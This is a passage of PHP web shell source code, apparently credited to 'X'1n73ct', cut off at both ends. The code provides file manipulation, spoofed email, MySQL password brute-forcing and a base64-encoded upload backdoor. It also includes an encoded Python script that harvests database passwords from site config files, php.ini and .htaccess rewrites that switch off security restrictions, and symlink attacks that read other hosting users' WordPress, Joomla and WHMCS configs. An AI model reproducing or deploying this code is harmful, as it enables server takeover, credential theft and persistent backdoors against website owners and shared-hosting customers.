\'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+\';\r\n$tulis = fwrite( $indexshell, base64_decode($data));\r\nfclose($indexshell);\r\n   echo "<iframe src=mysql/db-sql.php width=97% height=100% frameborder=0></iframe>"; \r\n}\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'mail\')){\r\nif(isset($_POST[\'mail_send\'])){\r\n\t$mail_to = $_POST[\'mail_to\'];\r\n\t$mail_from = $_POST[\'mail_from\'];\r\n\t$mail_subject = $_POST[\'mail_subject\'];\r\n\t$mail_content = magicboom($_POST[\'mail_content\']);\r\n\tif(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from")){\r\n\t\t$msg = "email sent to $mail_to";\r\n\t}\r\n\telse $msg = "send email failed";\r\n}\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&amp;x=mail" method="post">\r\n<table class="cmdbox">\r\n<tr><td>\r\n<textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey there, please patch me ASAP ;-p</textarea>\r\n<tr><td>&nbsp;<input class="inputz" style="width:20%;" type="text" value="admin@somesome.com" name="mail_to" />&nbsp; mail to</td></tr>\r\n<tr><td>&nbsp;<input class="inputz" style="width:20%;" type="text" value="X-1n73ct@fbi.gov" name="mail_from" />&nbsp; from</td></tr>\r\n<tr><td>&nbsp;<input class="inputz" style="width:20%;" type="text" value="patch me" name="mail_subject" />&nbsp; subject</td></tr>\r\n<tr><td>&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" /></td></tr></form>\r\n<tr><td>&nbsp;&nbsp;&nbsp;&nbsp;<?php echo $msg; ?></td></tr>\r\n</table>\r\n</form>\r\n\r\n<?php }\r\n\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'phpinfo\')){ \r\n\t@ob_start();\r\n\t@eval("phpinfo();");\r\n\t$buff = @ob_get_contents();\r\n\t@ob_end_clean();\t\r\n\t$awal = strpos($buff,"<body>")+6;\r\n\t$akhir = strpos($buff,"</body>");\r\n\techo "<div class=\\"phpinfo\\">".substr($buff,$awal,$akhir-$awal)."</div>";\r\n}\r\nelseif(isset($_GET[\'view\']) && ($_GET[\'view\'] != "")){\r\n  if(is_file($_GET[\'view\'])){ \r\n\tif(!isset($file)) $file = magicboom($_GET[\'view\']);\r\n\tif(!$win && $posix){\r\n\t\t$name=@posix_getpwuid(@fileowner($folder));\r\n\t\t$group=@posix_getgrgid(@filegroup($folder));\r\n\t\t$owner = $name[\'name\']."<span class=\\"gaya\\"> : </span>".$group[\'name\'];\r\n\t}\r\n\telse {\r\n\t\t$owner = $user;\r\n\t}\r\n\t$filn = basename($file);\r\n\techo "<table style=\\"margin:6px 0 0 2px;line-height:20px;\\">\r\n\t<tr><td>Filename</td><td><span id=\\"".clearspace($filn)."_link\\">".$file."</span>\r\n\t<form action=\\"?y=".$pwd."&amp;view=$file\\" method=\\"post\\" id=\\"".clearspace($filn)."_form\\" class=\\"sembunyi\\" style=\\"margin:0;padding:0;\\">\r\n\t\t<input type=\\"hidden\\" name=\\"oldname\\" value=\\"".$filn."\\" style=\\"margin:0;padding:0;\\" />\r\n\t\t<input class=\\"inputz\\" style=\\"width:200px;\\" type=\\"text\\" name=\\"newname\\" value=\\"".$filn."\\" />\r\n\t\t<input class=\\"inputzbut\\" type=\\"submit\\" name=\\"rename\\" value=\\"rename\\" />\r\n\t\t<input class=\\"inputzbut\\" type=\\"submit\\" name=\\"cancel\\" value=\\"cancel\\" onclick=\\"tukar(\'".clearspace($filn)."_link\',\'".clearspace($filn)."_form\');\\" />\r\n\t</form>\r\n\t</td></tr>\r\n\t<tr><td>Size</td><td>".ukuran($file)."</td></tr>\r\n\t<tr><td>Permission</td><td>".get_perms($file)."</td></tr>\r\n\t<tr><td>Owner</td><td>".$owner."</td></tr>\r\n\t<tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr>\r\n\t<tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>\r\n\t<tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>\r\n\t<tr><td>Actions</td><td><a href=\\"?y=$pwd&amp;edit=$file\\">edit</a> | <a href=\\"javascript:tukar(\'".clearspace($filn)."_link\',\'".clearspace($filn)."_form\');\\">rename</a> | <a href=\\"?y=$pwd&amp;delete=$file\\">delete</a> | <a href=\\"?y=$pwd&amp;dl=$file\\">download</a>&nbsp;(<a href=\\"?y=$pwd&amp;dlgzip=$file\\">gzip</a>)</td></tr>\r\n\t<tr><td>View</td><td><a href=\\"?y=".$pwd."&amp;view=".$file."\\">text</a> | <a href=\\"?y=".$pwd."&amp;view=".$file."&amp;type=code\\">code</a> | <a href=\\"?y=".$pwd."&amp;view=".$file."&amp;type=image\\">image</a></td></tr>\r\n\t</table>\r\n\t";\r\n\tif(isset($_GET[\'type\']) && ($_GET[\'type\']==\'image\')){\r\n\t\techo "<div style=\\"text-align:center;margin:8px;\\"><img src=\\"?y=".$pwd."&amp;img=".$filn."\\"></div>";\r\n\t}\r\n\telseif(isset($_GET[\'type\']) && ($_GET[\'type\']==\'code\')){\r\n\t\techo "<div class=\\"viewfile\\">";\r\n\t\t$file = wordwrap(@file_get_contents($file),"240","\\n");\r\n\t\t@highlight_string($file);\r\n\t\techo "</div>";\r\n\t}\r\n\telse {\r\n\t\techo "<div class=\\"viewfile\\">";\r\n\t\techo nl2br(htmlentities((@file_get_contents($file))));\r\n\t\techo "</div>";\r\n\t}\r\n  }\r\n  elseif(is_dir($_GET[\'view\'])){\r\n\t\techo showdir($pwd,$prompt);\r\n  }\r\n\t\r\n}\r\nelseif(isset($_GET[\'edit\']) && ($_GET[\'edit\'] != "")){\r\n\r\n\t\tif(isset($_POST[\'save\'])){\r\n\t\t\t$file = $_POST[\'saveas\'];\r\n\t\t\t$content = magicboom($_POST[\'content\']);\r\n\t\t\tif($filez = @fopen($file,"w")){\r\n\t\t\t\t$time = date("d-M-Y H:i",time());\r\n\t\t\t\tif(@fwrite($filez,$content)) $msg = "file saved <span class=\\"gaya\\">@</span> ".$time;\r\n\t\t\t\telse $msg = "failed to save";\r\n\t\t\t\t@fclose($filez);\r\n\t\t\t}\r\n\t\t\telse $msg = "permission denied";\r\n\t\t}\r\n\t\tif(!isset($file)) $file = $_GET[\'edit\'];\r\n\t\tif($filez = @fopen($file,"r")){\r\n\t\t\t$content = "";\r\n\t\t\twhile(!feof($filez)){\r\n\t\t\t\t$content .= htmlentities(str_replace("\'\'","\'",fgets($filez)));\r\n\t\t\t}\r\n\t\t\t@fclose($filez);\r\n\t\t}\r\n\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&amp;edit=<?php echo $file; ?>" method="post">\r\n<table class="cmdbox">\r\n<tr><td colspan="2">\r\n<textarea class="output" name="content">\r\n<?php echo $content; ?>\r\n</textarea>\r\n<tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />\r\n&nbsp;<?php echo $msg; ?></td></tr>\r\n</table>\r\n</form>\r\n<?php\r\n}\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'logout\'))\r\n{\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&amp;x=logout" method="post">\r\n\r\n<?php\r\n    unset($_SESSION[md5($_SERVER[\'HTTP_HOST\'])]); \r\n    echo \'bye!\'; \r\n}\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'brute\'))\r\n\t\t\t{\t\r\n\t\t\t?>\r\n\t\t\t\t<form action="?y=<?php echo $pwd; ?>&amp;x=brute" method="post">\r\n\t\t\t<?php\r\n\t\t\t//bruteforce\r\n?>\r\n<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />\r\n<?php\r\n/*\r\nRecoded By X\'1n73ct\r\n*/\r\n@set_time_limit(0);\r\n@error_reporting(0);\r\n\r\n\r\nif($_POST[\'page\']==\'find\')\r\n{\r\nif(isset($_POST[\'usernames\']) && isset($_POST[\'passwords\']))\r\n{\r\n    if($_POST[\'type\'] == \'passwd\'){\r\n        $e = explode("\\n",$_POST[\'usernames\']);\r\n        foreach($e as $value){\r\n        $k = explode(":",$value);\r\n        $username .= $k[\'0\']." ";\r\n        }\r\n    }elseif($_POST[\'type\'] == \'simple\'){\r\n        $username = str_replace("\\n",\' \',$_POST[\'usernames\']);\r\n    }\r\n    $a1 = explode(" ",$username);\r\n    $a2 = explode("\\n",$_POST[\'passwords\']);\r\n    $id2 = count($a2);\r\n    $ok = 0;\r\n    foreach($a1 as $user )\r\n    {\r\n        if($user !== \'\')\r\n        {\r\n        $user=trim($user);\r\n         for($i=0;$i<=$id2;$i++)\r\n         {\r\n            $pass = trim($a2[$i]);\r\n            if(@mysql_connect(\'localhost\',$user,$pass))\r\n            {\r\n                echo "X\'1n73ct~ user is (<b><font color=green>$user</font></b>) Password is (<b><font color=green>$pass</font></b>)<br />";\r\n                $ok++;\r\n            }\r\n         }\r\n        }\r\n    }\r\n    echo "<hr><b>You Found <font color=green>$ok</font> Cpanel by x\'1n73ct</b>";\r\n    echo "<center><b><a href=".$_SERVER[\'PHP_SELF\'].">BACK</a>";\r\n    exit;\r\n}\r\n}\r\nif($_POST[\'pass\']==\'password\'){\r\n@error_reporting(0);\r\n$i = getenv(\'REMOTE_ADDR\');\r\n$d = date(\'D, M jS, Y H:i\',time());\r\n$h = $_SERVER[\'HTTP_HOST\'];\r\n$dir=$_SERVER[\'PHP_SELF\'];\r\n$back = "PD9waHANCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPktvcmFuZyBEYWggQmVyamF5YSBVcGxvYWQgU2hlbGwgS29yYW5nISEhPGI+PGJyPjxicj4nOyB9DQplbHNlIHsgZWNobyAnPGI+S29yYW5nIEdhZ2FsIFVwbG9hZCBTaGVsbCBLb3JhbmchISE8L2I+PGJyPjxicj4nOyB9DQp9DQo/Pg==";\r\n$file = fopen(".php","w+");\r\n$write = fwrite ($file ,base64_decode($back));\r\nfclose($file);\r\nchmod(".php",0755);\r\nmkdir(\'config\',0755);\r\n$cp =\r\n\'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzaw0KdGh4OiBPYnp5LCBSZWxpaywgbW9oYWIgYW5kICNhcmFicHduIA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVVJMLi4uXSBbZGlyZWN0b3J5Li4uXQ0KIEV4KSAlcyBodHRwOi8vd3d3LnRlc3QuY29tL3Rlc3QvIFtkaXIgLi4uXScnJyAlIChzeXMuYXJndlswXSwgc3lzLmFyZ3ZbMF0pDQogIHN5cy5leGl0KDEpDQoNCnNpdGUgPSBzeXMuYXJndlsxXQ0KZm91dCA9IHN5cy5hcmd2WzJdDQoNCnRyeToNCiAgcmVxICA9IHVybGxpYi51cmxvcGVuKHNpdGUpDQogIHJlYWQgPSByZXEucmVhZCgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAndycpDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3cnKSAgDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KDQogIGkgPSAwDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBmID0gb3BlbignZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ3JtIC1yZiAvdG1wL2RhdGEudHh0ID4gL2Rldi9udWxsJywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBjbGVhbnVwID0gc3VicHJvY2Vzcy5Qb3BlbignZGVsIEM6XGRhdGEudHh0Jywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIHByaW50ICdcbicsICctJyAqIDEwMCwgJ1xuJw0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvdXQpOg0KICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG5UaGFua3MgZm9yIHVzaW5nIGl0IC5fXic=\';\r\n$file = fopen("cp.py","w+");\r\n$write = fwrite ($file ,base64_decode($cp));\r\nfclose($file);\r\nchmod("cp.py",0755);\r\n$url = $_POST[\'url\'];\r\necho"<center>\r\n<textarea cols=\\"90\\" rows=\\"20\\" name=\\"usernames\\">";\r\nsystem("python cp.py $url config");\r\nunlink (\'cp.py\');\r\necho"</textarea>\r\n</center>";\r\necho "<hr><center><b><a href=".$_SERVER[\'PHP_SELF\'].">BACK</a>";\r\nexit;\r\n}\r\nif($_POST[\'matikan\']==\'sekatan\'){\r\n@error_reporting(0);\r\n$phpini =\r\n\'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==\';\r\n$file = fopen("php.ini","w+");\r\n$write = fwrite ($file ,base64_decode($phpini));\r\nfclose($file);\r\n$htaccess =\r\n\'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==\';\r\n$file = fopen(".htaccess","w+");\r\n$write = fwrite ($file ,base64_decode($htaccess));\r\necho "<hr><center><b>DONE!";\r\necho "<hr><center><b><a href=".$_SERVER[\'PHP_SELF\'].">BACK</a>";\r\nexit;\r\n}\r\nif($_POST[\'mendapatkan\']==\'passwd\'){\r\n@set_magic_quotes_runtime(0);\r\nob_start();\r\nerror_reporting(0);\r\n@set_time_limit(0);\r\n@ini_set(\'max_execution_time\',0);\r\n@ini_set(\'output_buffering\',0);\r\n$fn = $_POST[\'foldername\'];\r\n//all function here\r\n\r\nfunction syml($usern,$pdomain)\r\n\t{\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');\r\n\t\tsyml